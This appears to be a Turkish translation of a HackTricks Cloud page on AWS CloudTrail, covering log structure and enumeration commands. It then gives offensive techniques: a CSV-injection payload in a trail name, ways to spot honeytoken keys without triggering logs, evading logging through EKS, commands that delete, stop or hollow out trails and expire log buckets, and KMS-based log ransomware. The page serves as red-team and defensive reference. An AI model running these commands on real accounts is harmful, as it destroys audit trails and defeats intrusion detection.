AWS - CloudTrail Enum
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
CloudTrail
AWS CloudTrail AWS ortamınızdaki etkinlikleri kaydeder ve izler. Tüm AWS kaynaklarıyla etkileşimler için kimin ne yaptığını, ne zaman ve nereden olduğunu içeren ayrıntılı olay günlüklerini yakalar. Bu, değişikliklerin ve eylemlerin bir denetim izini sağlar, güvenlik analizi, uyum denetimi ve kaynak değişiklik takibi için yardımcı olur. CloudTrail, kullanıcı ve kaynak davranışını anlamak, güvenlik duruşunu artırmak ve düzenleyici uyumu sağlamak için gereklidir.
Her kaydedilen olay şunları içerir:
- Çağrılan API’nin adı:
eventName - Çağrılan hizmet:
eventSource - Zaman:
eventTime - IP adresi:
SourceIPAddress - Ajan yöntemi:
userAgent. Örnekler: - Signing.amazonaws.com - AWS Yönetim Konsolu’ndan
- console.amazonaws.com - Hesabın kök kullanıcısı
- lambda.amazonaws.com - AWS Lambda
- İstek parametreleri:
requestParameters - Yanıt öğeleri:
responseElements
Olaylar, yaklaşık her 5 dakikada bir JSON dosyasında yeni bir günlük dosyasına yazılır, CloudTrail tarafından tutulur ve nihayetinde günlük dosyaları yaklaşık 15 dakika sonra S3’e teslim edilir.
CloudTrail günlükleri hesaplar ve bölgeler arasında birleştirilebilir.
CloudTrail, günlük dosyası bütünlüğünü kullanarak, günlük dosyalarınızın CloudTrail tarafından size teslim edildiğinden beri değişmediğini doğrulamanıza olanak tanır. Bir özet dosyası içinde günlüklerin SHA-256 hash’ini oluşturur. Yeni günlüklerin sha-256 hash’i her saat başında oluşturulur.
Bir Trail oluştururken, olay seçicileri, kaydedilecek trail’i belirtmenize olanak tanır: Yönetim, veri veya içgörü olayları.
Günlükler bir S3 kovasında saklanır. Varsayılan olarak Sunucu Tarafı Şifreleme (SSE-S3) kullanılır, böylece AWS içeriği erişimi olan kişiler için şifre çözer, ancak ek güvenlik için KMS ile SSE ve kendi anahtarlarınızı kullanabilirsiniz.
Günlükler, bu ad formatına sahip bir S3 kovasında saklanır:
BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD- BucketName:
aws-cloudtrail-logs-<accountid>-<random> - Örnek:
aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/
Her klasörün içinde her günlük, bu formatı takip eden bir isme sahip olacaktır: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz
Günlük Dosyası İsimlendirme Konvansiyonu
.png)
Ayrıca, dosya bütünlüğünü kontrol etmek için özet dosyaları aynı kovada bulunacaktır:
.png)
Birden Fazla Hesaptan Günlükleri Birleştirme
- Günlük dosyalarının teslim edileceği AWS hesabında bir Trail oluşturun
- Hedef S3 kovasına, CloudTrail için hesaplar arası erişime izin veren izinler uygulayın ve erişime ihtiyaç duyan her AWS hesabına izin verin
- Diğer AWS hesaplarında yeni bir Trail oluşturun ve 1. adımda oluşturulan kovayı kullanmayı seçin
Ancak, tüm günlükleri aynı S3 kovasında saklayabilseniz de, birden fazla hesaptan CloudTrail günlüklerini tek bir AWS hesabına ait CloudWatch Logs’a birleştiremezsiniz.
Caution
Bir hesabın farklı Trails CloudTrail etkin olarak aynı (veya farklı) günlükleri farklı kovalarda saklayabileceğini unutmayın.
Tüm organizasyon hesaplarından 1’e CloudTrail
Bir CloudTrail oluştururken, organizasyondaki tüm hesaplar için cloudtrail’i etkinleştirmek ve günlükleri sadece 1 kovaya almak mümkündür:
.png)
Bu şekilde, tüm hesapların tüm bölgelerinde CloudTrail’i kolayca yapılandırabilir ve günlükleri 1 hesapta (korumanız gereken) merkezi hale getirebilirsiniz.
Günlük Dosyalarını Kontrol Etme
Günlüklerin değiştirilmediğini kontrol edebilirsiniz.
aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]
CloudWatch’a Loglar
CloudTrail, şüpheli aktiviteler gerçekleştirildiğinde sizi uyaran uyarılar ayarlayabilmeniz için logları otomatik olarak CloudWatch’a gönderebilir.
CloudTrail’in logları CloudWatch’a gönderebilmesi için bir rol oluşturulması gerektiğini unutmayın. Mümkünse, bu işlemleri gerçekleştirmek için AWS varsayılan rolünün kullanılması önerilir. Bu rol, CloudTrail’in:
- CreateLogStream: CloudWatch Logs log akışları oluşturmasına izin verir
- PutLogEvents: CloudTrail loglarını CloudWatch Logs log akışına iletmesine izin verir
Olay Geçmişi
CloudTrail Olay Geçmişi, kaydedilen logları bir tabloda incelemenizi sağlar:
.png)
İçgörüler
CloudTrail İçgörüleri, CloudTrail yollarından yazma yönetim olaylarını otomatik olarak analiz eder ve olağandışı aktiviteler hakkında sizi uyarır. Örneğin, belirlenen temel değerlerden farklı olarak TerminateInstance olaylarında bir artış varsa, bunu bir İçgörü olayı olarak göreceksiniz. Bu olaylar, olağandışı API aktivitelerini bulmayı ve yanıt vermeyi her zamankinden daha kolay hale getirir.
İçgörüler, CloudTrail logları ile aynı kovada saklanır: BucketName/AWSLogs/AccountID/CloudTrail-Insight
Güvenlik
| Kontrol Adı | Uygulama Detayları |
|---|---|
| CloudTrail Log Dosyası Bütünlüğü |
|
| Yetkisiz erişimi durdur |
|
| Log dosyalarının silinmesini önleyin |
|
Erişim Danışmanı
AWS Erişim Danışmanı, içgörülerini toplamak için son 400 günün AWS CloudTrail loglarına dayanır. CloudTrail, bir AWS hesabında yapılan AWS API çağrılarının ve ilgili olayların tarihini kaydeder. Erişim Danışmanı, bu verileri kullanarak hizmetlerin en son ne zaman erişildiğini gösterir. CloudTrail loglarını analiz ederek, Erişim Danışmanı bir IAM kullanıcısının veya rolünün hangi AWS hizmetlerine eriştiğini ve bu erişimin ne zaman gerçekleştiğini belirleyebilir. Bu, AWS yöneticilerinin izinleri iyileştirme konusunda bilinçli kararlar almasına yardımcı olur; çünkü uzun süre erişilmeyen hizmetleri tanımlayabilir ve gerçek kullanım desenlerine dayalı olarak aşırı geniş izinleri azaltabilirler.
Tip
Bu nedenle, Erişim Danışmanı, yöneticinin gereksiz izinleri kaldırabilmesi için kullanıcılara verilen gereksiz izinler hakkında bilgi verir
.png)
Eylemler
Sayım
# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]
# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>
# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>
CSV Injection
CloudTrail içinde, günlükler CSV formatında dışa aktarıldığında ve Excel ile açıldığında rastgele kodu çalıştıracak bir CVS enjeksiyonu gerçekleştirmek mümkündür.
Aşağıdaki kod, yükü içeren kötü bir Trail adıyla günlük girişi oluşturacaktır:
import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)
Daha fazla bilgi için CSV Enjeksiyonları hakkında sayfayı kontrol edin:
Formula/CSV/Doc/LaTeX/GhostScript Injection - HackTricks
Bu özel teknik hakkında daha fazla bilgi için https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/ adresini kontrol edin.
Algılama Bypass
HoneyTokens bypass
Honeytoken’lar, hassas bilgilerin dışa aktarımını tespit etmek için oluşturulmuştur. AWS durumunda, bunlar kullanımı izlenen AWS anahtarlarıdır, eğer bu anahtarla bir eylem tetiklenirse, o zaman birisi bu anahtarı çalmış olmalıdır.
Ancak, Canarytokens, SpaceCrab, SpaceSiren tarafından oluşturulan Honeytoken’lar ya tanınabilir hesap adı kullanmakta ya da tüm müşterileri için aynı AWS hesap kimliğini kullanmaktadır. Bu nedenle, Cloudtrail herhangi bir günlük oluşturmadan hesap adını ve/veya hesap kimliğini alabilirseniz, anahtarın bir honeytoken olup olmadığını bilebilirsiniz.
Pacu bazı kurallara sahiptir, bir anahtarın Canarytokens, SpaceCrab, SpaceSiren’e ait olup olmadığını tespit etmek için:
- Eğer
canarytokens.orgrol adında veya hata mesajında534261010715hesap kimliği görünüyorsa. - Daha yakın zamanda test ettiklerinde,
717712589309hesaplarını kullanıyorlar ve hala adındacanarytokens.comdizesi var. - Eğer hata mesajında rol adında
SpaceCrabgörünüyorsa. - SpaceSiren, kullanıcı adları oluşturmak için uuids kullanır:
[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12} - Eğer isim rastgele üretilmiş gibi görünüyorsa, bunun bir HoneyToken olma olasılığı yüksektir.
Anahtar Kimliğinden Hesap Kimliğini Alın
Erişim anahtarının içinde kodlanmış olarak Hesap Kimliğini alabilirsiniz, burada açıklandığı gibi ve hesap kimliğini Honeytoken AWS hesaplarınızın listesiyle kontrol edebilirsiniz:
import base64
import binascii
def AWSAccount_from_AWSKeyID(AWSKeyID):
trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]
z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)
e = (z & mask)>>7
return (e)
print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))
Daha fazla bilgi için orijinal araştırmaya bakın.
Log oluşturma
Bunun için en etkili teknik aslında basit bir tekniktir. Bulduğunuz anahtarı kullanarak kendi saldırgan hesabınızdaki bir hizmete erişin. Bu, CloudTrail’in KENDİ AWS hesabınızda bir log oluşturmasını sağlar ve kurbanın hesabında değil.
Sorun şu ki, çıktı bir hata gösterecek ve hesap ID’sini ve hesap adını belirtecek, böylece bir Honeytoken olup olmadığını görebileceksiniz.
Log olmadan AWS hizmetleri
Geçmişte bazı AWS hizmetleri CloudTrail’e log göndermiyordu (buradan bir liste bulabilirsiniz). Bu hizmetlerden bazıları, yetkisiz (honeytoken anahtarı) birinin erişmeye çalışması durumunda hata ile anahtar rolünün ARN’sini içeren bir yanıt verecektir.
Bu şekilde, bir saldırgan herhangi bir log tetiklemeksizin anahtarın ARN’sini elde edebilir. ARN’de saldırgan AWS hesap ID’sini ve adını görebilir, bu nedenle HoneyToken’ın şirket hesap ID’lerini ve adlarını bilmek kolaydır, böylece bir saldırgan token’ın bir HoneyToken olup olmadığını belirleyebilir.
.png)
Caution
CloudTrail logu oluşturmayan tüm kamu API’lerinin artık düzeltildiğini unutmayın, bu nedenle belki de kendi API’lerinizi bulmanız gerekebilir…
Daha fazla bilgi için orijinal araştırmaya bakın.
Üçüncü Altyapıya Erişim
Belirli AWS hizmetleri veritabanları veya Kubernetes kümeleri (EKS) gibi bazı altyapılar oluşturabilir. Bir kullanıcı bu hizmetlerle doğrudan iletişim kurduğunda (Kubernetes API’si gibi) AWS API’sini kullanmaz, bu nedenle CloudTrail bu iletişimi göremez.
Bu nedenle, EKS’ye erişimi olan bir kullanıcı EKS API’sinin URL’sini keşfettiğinde, yerel olarak bir token oluşturabilir ve CloudTrail tarafından tespit edilmeden API hizmetiyle doğrudan iletişim kurabilir.
Daha fazla bilgi için:
CloudTrail Yapılandırmasını Değiştirme
İzleri Silme
aws cloudtrail delete-trail --name [trail-name]
İzleri Durdur
aws cloudtrail stop-logging --name [trail-name]
Çok bölgeli günlüğü devre dışı bırakma
aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services
Olay Seçicileri ile Günlüğü Devre Dışı Bırakma
# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>
# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>
İlk örnekte, tek bir olay seçici, tek bir nesne içeren bir JSON dizisi olarak sağlanmıştır. "ReadWriteType": "ReadOnly" ifadesi, olay seçicinin yalnızca salt okunur olayları yakalaması gerektiğini belirtir (bu nedenle CloudTrail içgörüleri, örneğin yazma olaylarını kontrol etmeyecek).
Olay seçiciyi özel gereksinimlerinize göre özelleştirebilirsiniz.
S3 yaşam döngüsü politikası aracılığıyla günlüklerin silinmesi
aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>
Bucket Konfigürasyonunu Değiştirme
- S3 bucket’ını sil
- Bucket politikasını CloudTrail hizmetinden gelen yazmaları reddedecek şekilde değiştir
- S3 bucket’ına nesneleri silmek için yaşam döngüsü politikası ekle
- CloudTrail günlüklerini şifrelemek için kullanılan kms anahtarını devre dışı bırak
Cloudtrail ransomware
S3 ransomware
Asimetrik bir anahtar oluşturabilir ve CloudTrail’in verileri o anahtarla şifrelemesini sağlayabilir ve özel anahtarı silerek CloudTrail içeriğinin kurtarılamamasını sağlayabilirsin.
Bu temelde S3-KMS ransomware olarak açıklanmıştır:
KMS ransomware
Bu, önceki saldırıyı farklı izin gereksinimleriyle gerçekleştirmenin en kolay yoludur:
Referanslar
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

